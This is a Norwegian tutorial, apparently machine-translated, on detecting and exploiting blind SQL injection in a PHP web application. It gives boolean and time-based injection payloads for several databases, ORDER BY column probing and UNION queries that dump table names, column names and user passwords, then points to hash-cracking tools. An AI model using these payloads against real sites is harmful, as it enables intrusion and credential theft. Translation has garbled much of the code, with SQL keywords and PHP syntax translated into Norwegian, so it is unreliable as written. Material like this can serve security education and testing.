Sikkerhet

Blind SQL Injection Techniques Tutorial

Blind SQL Injection Techniques Tutorial

Hva er SQL Injection?

SQL Injection er en type databaseangrep der en angriper prøver å stjele informasjon fra en webapplikasjons database. Dette kan til og med føre til ekstern kjøring av kode, avhengig av webapplikasjonsmiljø og databaseversjon.

SQL Injection skjer på grunn av dårlig desinfisering av brukerinndata. Hvis du tar input fra brukeren på et eller annet kodingspråk (PHP, ASP.NET) og sende den direkte til serverens database uten å bruke noe filter på inngangen, dette kan føre til sårbarhet for SQL Injection.

Følgende PHP-kode er for eksempel sårbar for SQL Injection-angrep fordi den sender brukerinngangen direkte til databasen. Angriper kan lage sin egen ondsinnede databasespørring for å trekke ut data fra databasen.

// Brukerinngangen er lagret i id-variabelen
$ id = $ _GET ['id'];
// Brukerinngangen utføres direkte i databasen
$ getid = "SELECT first_name, last_name FROM users WHERE user_id = '$ id'";
// Ved feil eller suksess returneres resultatene til brukeren
$ resultat = mysql_query ($ getid) eller dø ('
' . mysql_error () . '
');
$ num = mysql_numrows ($ resultat);

På den annen side gis et sikkert kodeeksempel på en slik kode for å samhandle med databasen. Det tar brukerinngang og filtrerer skadelige tegn fra den, og sender den til databasen.

$ id = $ _GET ['id'];
$ id = stripslash ($ id);
$ id = mysql_real_escape_string ($ id);

Normal vs blind SQL-injeksjon

Normal SQL Injection

I normal SQL Injection, hvis en angriper prøver å sette et enkelt sitat (') som input, når dette enkelt sitatet kjøres i databasen, svarer databasen med en feil. Feilen skrives ut i angriperens nettleser.

Koden som er ansvarlig for denne feilen er

// hvis databasen svarer med en feil, blir "eller die ()" -funksjonen utført
for å skrive ut feilen
$ resultat = mysql_query ($ getid) eller dø ('
' . mysql_error () . '
');

I Normal SQL Injection kan angriper se feilresultatene og det er lett å identifisere og utnytte.

Blind SQL Injection

Når det gjelder blind SQL Injection, når et ondsinnet spørsmål som et enkelt tilbud blir utført, vises ikke databasefeilen i angriperens nettleser, eller den vises på en veldig generell måte som ikke kan identifiseres og utnyttes enkelt av angriperen.

Backend-koden som er ansvarlig for dette er gitt nedenfor

$ resultat = mysql_query ($ getid); // Fjernet 'eller dø' for å undertrykke mysql-feil

I Blind SQL Injection kan angriper ikke se de fullstendige resultatene, og derfor er denne typen SQLi vanskelig å identifisere og utnytte, men den har samme risikonivå som vanlig SQLi.

Teknikker for å oppdage blind SQL-injeksjon

Mens normal SQL Injection kan oppdages ved å sende enkelt tilbud (') som inndata og undersøke utgangsfeilen, kan ikke blind SQL-injeksjon oppdages ved hjelp av denne teknikken fordi den ikke viser noen SQL-feil. Det er mange teknikker for å oppdage en blind SQL-injeksjon, noen av dem er gitt som følger

SANN og FALSK-basert deteksjon

En av egenskapene til databaser, inkludert MySQL, er forskjellig oppførsel ved sanne og falske utsagn. Selv om databasen ikke viser noen feil, kan vi bestemme oss for å bruke sanne og falske utsagn. Tenk på følgende scenario,

Den neste siden er sårbar for blind SQL-injeksjon, og gir den en ekte uttalelse vil vise alle oppføringene i databasen

1 'eller 1 = 1 #

Å gi et falskt spørsmål som inndata, vil ikke vise noen data.

1 'eller 1 = 2 #

Selv nettsiden viser ingen feil, forskjellen mellom de to sidene forteller at spørsmålene våre blir vellykket utført i databasen.

TIME-basert gjenkjenning

Det er en funksjon i databaser inkludert MySQL, MS-SQL og andre for forsinkelser. Vi kan bruke SLEEP () -funksjonen i spørringen vår, hvis databasens svar er tregt, betyr det at spørringen vår blir utført vellykket og nettsiden er sårbar for blind SQL-injeksjon.

1 'OG sove (15) #

Det er en annen tidkrevende funksjon “BENCHMARK” som kan brukes til å forsinke databasesvaret

1 'OG BENCHMARK (10000000, SHA1 (1337)) #

Linjen ovenfor vil utføre SHA1 () -funksjonen 10000000 ganger i databasen, noe som vil legge til en betydelig forsinkelse i svaret.

Tidsbasert blind SQL-injeksjon i andre databaser

MS SQL: ID = 1; vent på forsinkelse '0: 0: 10'-

ORACLE SQL: OG [RANDNUM] = DBMS_PIPE.RECEIVE_MESSAGE ('[RANDSTR]', [SLEEPTIME])

PostgreSQL: AND [RANDNUM] = (VELG [RANDNUM] FRA PG_SLEEP ([SLEEPTIME]))

SQLite: AND [RANDNUM] = LIKE ('ABCDEFG', ØVERSTE (HEX (RANDOMBLOB ([SLEEPTIME] 00000000/2))))

Henter ut databaseinformasjon

Det første trinnet med å trekke ut database er å bestemme kolonnetall i databasen. Prøv deretter å finne sårbare kolonner for å trekke ut ytterligere data.

Blind SQL Injection oppfører seg annerledes med forskjellige kolonnetall i "rekkefølge etter" spørring.

1 'bestilling av 1 #

Ovennevnte utsagn er sant fordi det alltid finnes minst en kolonne i en database. Prøv nå med et veldig stort antall.

1 'bestilling innen 10000 #

Databasesvaret er annerledes enn det forrige. Prøv nå med to kolonner.

Uttalelsen virket, det betyr at databasen har to eller flere kolonner. Prøv nå med 3 kolonner.

1 'bestilling av 3 #

Databasen har ikke sendt noe svar, det betyr at databasen bare har to kolonner. Nå prøver vi å dumpe listen over tabeller i databasen, vi bruker følgende spørsmål for det

1 'union velger alle 1, group_concat (tabellnavn) fra informasjonsskjema.
tabeller der table_schema = database () #

Det er to tabeller i backend-databasen "gjestebok og brukere". Tabellen "brukere" kan inneholde brukernavn og passord. For å trekke ut kolonnenavn fra tabellen, sett inn følgende spørsmål.

1 'union velger alle 1, group_concat (column_name) fra informasjon_schema.
kolonner der table_schema = database () #

Nå har vi hentet ut kolonnenavn, dette inkluderer bruker- og passordkolonner. Disse kolonnene lagrer kundenes brukernavn og passord.

Nå prøver vi å trekke ut dataene ved hjelp av følgende spørsmål

1 'union alle velger 1, group_concat (bruker, passord) fra brukere #

Og slik kan du utnytte Blind SQL Injection uten å stole på feil. Utgangspassord blir hashet mesteparten av tiden, som kan dekrypteres ved hjelp av verktøy som John The Ripper eller Hashcat.

Konklusjon:

Blind SQL Injection er typen SQLi som ikke viser databasefeil eller svarer med en veldig generell melding. Derfor er det veldig vanskelig å identifisere sårbarhet for blind SQL Injection på en webside. Når det er oppdaget, kan du utnytte det enkelt ved manuell eller automatisert prosess ved hjelp av SQLmap.

Beste kommandolinjespill for Linux
Kommandolinjen er ikke bare din største allierte når du bruker Linux, den kan også være kilden til underholdning fordi du kan bruke den til å spille m...
Beste Gamepad Mapping Apps for Linux
Hvis du liker å spille spill på Linux med en gamepad i stedet for et vanlig tastatur- og musinngangssystem, er det noen nyttige apper for deg. Mange P...
Nyttige verktøy for Linux-spillere
Hvis du liker å spille spill på Linux, er sjansen stor for at du har brukt apper og verktøy som Wine, Lutris og OBS Studio for å forbedre spilloppleve...